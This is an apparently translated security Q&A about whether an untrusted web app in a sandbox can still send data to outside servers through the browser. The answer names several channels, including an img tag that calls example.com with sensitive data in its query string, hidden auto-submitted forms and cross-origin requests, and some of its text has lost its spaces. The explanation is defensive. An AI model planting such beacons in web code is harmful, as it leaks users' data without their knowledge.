Accesso cross-site lato client in ambiente SSL - quando è ancora possibile farlo?

4

Sto cercando di immaginare un ambiente sicuro in modalità sandbox per un'applicazione che è grande e inesplorata e potrebbe contenere backdoor. Viverebbe in ambiente chroot / virtuale senza connessioni in uscita abilitate, e tutte le connessioni in arrivo arriveranno dal frontend SSL locale usando CA auto-firmate e certificato client autofirmato (direttiva RequireSSL di Apache).

Quindi, nessuno sarà in grado di connettersi all'applicazione e rubare i suoi dati tramite una backdoor. Tuttavia, mi chiedo se il lato client dell'applicazione sia tecnicamente in grado di eseguire richieste cross-site tramite il browser.

Può una pagina che è aperta in un contesto SSL auto-fatto lasciare che uno dei suoi elementi javascript si connetta a un altro server senza emettere un avviso visibile?

    
posta kagali-san 10.08.2012 - 17:18
fonte

1 risposta

3

Ci sono un paio di modi, che permettono ad un'applicazione web di trasmettere informazioni ad un altro server usando il browser come relay. La stessa politica di origine impedisce ad altri siti web di accedere a un sito Web sensibile, ma esistono numerosi tipi di accesso che non sono soggetti a restrizioni.

Ad esempio:

  • Il tag img può essere utilizzato per caricare un'immagine da qualsiasi server: <img src="http://example.com/?log=sensitive-data">
  • ifilecssejavascriptpossonoesserecaricatiallostessomodo
  • Imodulipossonoessereinviatiaqualsiasiserver.PuòesserenascostoinuniframeinvisibileeinviatoautomaticamentedaJavaScript:<formaction="http://example.com/" method="POST">
  • Esistono richieste di origine incrociata in HTML5 utilizzando l'oggetto JavaScript XMLHttpRequest : HTML5 Le 10 principali minacce: attacchi furtivi e exploit silenziosi
risposta data 10.08.2012 - 23:35
fonte